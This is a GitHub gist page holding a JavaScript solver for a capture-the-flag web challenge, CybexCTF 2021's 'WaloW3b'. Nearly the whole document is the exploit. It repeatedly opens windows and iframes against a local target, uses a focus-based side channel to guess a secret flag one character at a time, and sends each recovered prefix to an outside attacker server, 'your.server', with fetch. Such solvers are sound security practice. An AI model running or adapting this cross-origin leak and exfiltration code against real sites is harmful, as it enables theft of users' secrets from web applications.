Last active
February 15, 2021 15:18
-
-
Save jorgectf/f6abeaa74553a2ee5ab912b1d71ad05a to your computer and use it in GitHub Desktop.
CybexCTF 2021's WaloW3b solver.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<meta charset="UTF-8"> | |
</head> | |
<body> | |
<script> | |
const localURL = "https://127.0.0.1:4000" | |
const remoteURL = "https://your.server" | |
const alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"!¡¿?&%'(),-/:;<=>@[\\]_`{}~".split(""); | |
let known = "CYBEX{¡wAlO_`L0v3S`_¿f0cUs?&Sam3SiT3!}"; | |
let iterator = 0; | |
if (location.search.substr(1)) { | |
window.addEventListener("message", (event) => { | |
const frame = document.createElement('iframe'); | |
frame.src = `${localURL}/walomsg?flag=${encodeURIComponent(event.data)}&msg=foo#msg`; | |
frame.onload = function () { | |
setTimeout(() => { | |
if (document.activeElement != document.body) { | |
event.source.postMessage(event.data, "*"); | |
} else { | |
event.source.postMessage("justCloseMe", "*"); | |
} | |
}, 500); | |
} | |
document.body.appendChild(frame); | |
}); | |
} else { | |
window.addEventListener("message", (event) => { | |
if (event.data != "justCloseMe") { | |
known = event.data; | |
fetch(`${remoteURL}/FLAG/${encodeURIComponent(known)}`) | |
} | |
event.source.close(); | |
}); | |
setInterval(function () { | |
let char = alphabet[iterator]; | |
console.log(`Testing ${known}(${char})`); | |
let win = window.open(`${location.href}?foo`, "_blank"); | |
win.addEventListener("load", function () { | |
win.postMessage(`${known + char}`, "*"); | |
}) | |
if (iterator == alphabet.length - 1) { | |
iterator = 0; | |
} else { | |
++iterator; | |
} | |
}, 50); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment